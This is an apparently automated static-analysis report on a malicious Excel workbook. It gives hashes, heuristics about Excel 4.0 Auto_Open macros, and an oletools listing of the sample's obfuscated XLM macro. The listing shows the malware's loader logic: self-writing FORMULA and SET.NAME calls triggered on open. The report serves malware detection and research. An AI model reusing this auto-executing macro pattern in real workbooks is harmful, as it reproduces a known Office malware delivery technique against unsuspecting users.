Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 d54a9162e9e03c51…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:40:58 Authoring application: Microsoft Excel First seen: 2022-07-02
MD5: 644a442175bd922d844e3f3757d4a929 SHA-1: 096d9f68334c8883a2c215f202f65a8df0ea783c SHA-256: d54a9162e9e03c5161f8d28f128ecf74bb134c670303f0d4ddd6b57b2911d6fb
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6531 bytes
SHA-256: 583ce7c5e32bb28e219ee39df4681225b304752336780896388d01c1ef35dc2d
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     16 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  LiuGskS
' 0018     26 LABEL : Cell Value, String Constant - aGNpBDfitRa len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!H152 
' 0018     26 LABEL : Cell Value, String Constant - aygKiFvYtRu len=0 
' 0018     25 LABEL : Cell Value, String Constant - bCzSbmNTNF len=0 
' 0018     27 LABEL : Cell Value, String Constant - dSBTSErdoxQS len=0 
' 0018     26 LABEL : Cell Value, String Constant - DUVUNZomGQI len=0 
' 0018     25 LABEL : Cell Value, String Constant - gOkIZVwnkG len=0 
' 0018     24 LABEL : Cell Value, String Constant - gXKbZLlwd len=0 
' 0018     20 LABEL : Cell Value, String Constant - itaOQ len=0 
' 0018     26 LABEL : Cell Value, String Constant - mNlhmAnAJeX len=0 
' 0018     25 LABEL : Cell Value, String Constant - ncKBEENhqn len=0 
' 0018     25 LABEL : Cell Value, String Constant - NjAJocEqfT len=0 
' 0018     20 LABEL : Cell Value, String Constant - nSpvU len=0 
' 0018     24 LABEL : Cell Value, String Constant - QWpguCJDI len=0 
' 0018     21 LABEL : Cell Value, String Constant - RreeLx len=0 
' 0018     23 LABEL : Cell Value, String Constant - sylbPLEl len=0 
' 0018     20 LABEL : Cell Value, String Constant - TiVqQ len=0 
' 0018     27 LABEL : Cell Value, String Constant - WgLVTVuzSvZJ len=0 
' 0018     27 LABEL : Cell Value, String Constant - wOeHUBluryRE len=0 
' 0018     23 LABEL : Cell Value, String Constant - XiPnPORr len=0 
' 0018     22 LABEL : Cell Value, String Constant - ZfLlgEg len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  LiuGskS,H55,"SET.NAME("RreeLx",VALUE("0"))",""
'  LiuGskS,H58,"SET.NAME("ZfLlgEg",RreeLx)",""
'  LiuGskS,H62,"SET.NAME("nSpvU",RreeLx)",""
'  LiuGskS,H64,"SET.NAME("gXKbZLlwd",COUNTA(aygKiFvYtRu))",""
'  LiuGskS,H69,"SET.NAME("dSBTSErdoxQS",COUNTA(bCzSbmNTNF))",""
'  LiuGskS,H72,[],""
'  LiuGskS,H76,"SET.NAME("ncKBEENhqn","")",""
'  LiuGskS,H81,"ZfLlgEg",""
'  LiuGskS,H86,"SET.NAME("wOeHUBluryRE",HLOOKUP("*",aygKiFvYtRu,ZfLlgEg,FALSE))",""
'  LiuGskS,H91,"WgLVTVuzSvZJ",""
'  LiuGskS,H93,"SET.NAME("mNlhmAnAJeX",RreeLx)",""
'  LiuGskS,H98,[],""
'  LiuGskS,H103,"mNlhmAnAJeX",""
'  LiuGskS,H105,"TiVqQ",""
'  LiuGskS,H109,"QWpguCJDI",""
'  LiuGskS,H112,"NjAJocEqfT",""
'  LiuGskS,H115,"SET.NAME("XiPnPORr",VALUE(HLOOKUP("*",bCzSbmNTNF,NjAJocEqfT,FALSE)))",""
'  LiuGskS,H120,"DUVUNZomGQI",""
'  LiuGskS,H122,"ncKBEENhqn",""
'  LiuGskS,H127,"nSpvU",""
'  LiuGskS,H130,NEXT(),""
'  LiuGskS,H135,"itaOQ",""
'  LiuGskS,H137,"SET.NAME("f",INT(T(FORMULA(T(ncKBEENhqn)&"",""&T(itaOQ)))))",""
'  LiuGskS,H140,"gOkIZVwnkG",""
'  LiuGskS,H142,NEXT(),""
'  LiuGskS,H147,RETURN(),""
'  LiuGskS,H179,"SET.NAME("aGNpBDfitRa",H55)",""
'  LiuGskS,H183,"aygKiFvYtRu",""
'  LiuGskS,H187,"SET.NAME("bCzSbmNTNF",R47C11)",""
'  LiuGskS,H191,"SET.NAME("gOkIZVwnkG",199)",""
'  LiuGskS,H193,"SET.NAME("sylbPLEl",8)",""
'  LiuGskS,H198,aGNpBDfitRa(),""
'  LiuGskS,H199,HALT(),""

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